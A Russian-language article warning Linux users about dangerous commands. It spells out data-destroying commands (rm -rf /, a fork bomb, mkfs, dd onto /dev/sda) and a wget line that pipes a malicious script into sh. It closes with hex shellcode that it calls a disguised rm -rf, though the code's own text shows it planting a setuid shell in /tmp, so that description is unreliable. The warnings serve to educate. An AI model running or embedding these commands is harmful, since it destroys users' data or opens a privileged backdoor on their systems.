Самые опасные команды Linux

Командная строка Linux — очень продуктивная, полезная и интересная, но иногда она может быть очень опасной, особенно когда вы не уверены, что вы делаете. Для некоторых команд в командной строке вы должны перепроверить синтаксис дважды, прежде чем нажмёте Enter.

Команда rm -rf

Команда rm -rf — это один из самых быстрых способов удалить каталог и его содержимое. Но небольшая опечатка или незнание могут привести к непоправимому разрушению системы. Некоторые опции, используемые с командой rm.

  1. rm в Linux используется для удаления файлов.
  2. Команда rm -r удаляет каталог рекурсивно, даже если он непустой.
  3. Команда rm -f удаляет файлы без запроса файлы ‘Только для чтения’.
  4. rm -rf / : Принудительное удаление всего в корневой директории.
  5. rm -rf * : Принудительное удаление всего в текущей/рабочей директории.
  6. rm -rf . : Принудительное удаление всего в текущей директории и поддиректориях.

Следовательно, нужно быть осторожным, когда вы выполняете команду rm -rf. Чтобы обойти несчастные случаи с удалением файлов командой ‘rm‘, сделайте псевдоним (алиас) команды с параметром rm -i в файле “.bashrc”, после этого всегда будет появляться запрос при любому удалении.

Команда :(){ :|:& };:

В действительности эта команда является логической бомбой. Она оперирует определением функции с именем ‘:‘, которая вызывает сама себя дважды: один раз на переднем плане и один раз в фоне. Она продолжает своё выполнение снова и снова, пока система не зависнет.

1
:(){ :|:& };:

Команда > /dev/sda

Вышеприведённый пример пишет вывод «команды» в блок /dev/sda. Вышеприведённая команда пишет сырые данные и все файлы в блоке будут заменены сырыми данными, это станет причиной полной потери данных блока.

mv folder /dev/null

Команда mv переместит ‘folder‘ в /dev/null. В Linux /dev/null или null устройство — это специальный файл, который сбрасывает все данные, записанные в него, и сообщает, что операция записи прошла успешно.

1
# mv /home/user/* /dev/null

Вышеприведённая команда переместит всё содержимое пользовательских директорий user в /dev/null, что фактически является переносом всех данных в чёрную дыру (null).

wget http://malicious_source -O- | sh

Этот пример wget загрузит скрипт из вредоносного источника и выполнитего

mkfs.ext3 /dev/sda

Этот пример отформатирует ‘sda’. После выполнения данной команды ваш жёсткий диск будет помечен как «Новый». Вы останетесь без каких либо данных и с системой не подлежащей восстановлению.

> file

Эта команда используется для стирания текущего файла. Если эта команда будет выполнена с опечаткой или незнанием вроде “> xt.conf”, то это сотрёт конфигурационный или любой другой файл.

Это распространённая ошибка начинающих пользователей командной строки, когда они путают символы | (труба) и > (перенаправление вывода).

Например, вот так правильно:

1
echo 456 | grep -E '[0-9]'

А вот так вы затрёте бинарный файл:

1
echo 456 > grep -E '[0-9]'

^foo^bar

Эта команда используется для редактирования предыдущей запущенной команды без необходимости снова заново печатать всю команду. Это может быть действительно опасно.

dd if=/dev/random of=/dev/sda

Эта dd сотрёт блок устройства sda и заполнит его рандомным мусором. Система будет неработоспособной.

Скрытая команда

Команда ниже — это ничего более как rm -rf. Эта команда спрятана в шестнадцатеричную запись и пользователь может быть одурачен и запустить её. Запуск этого кода сотрёт ваш корневой раздел. Эта команда показывает здесь, что опасность может быть спрятана и иногда её трудно выявить.

1
2
3
4
5
6
7
8
9
10
11
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;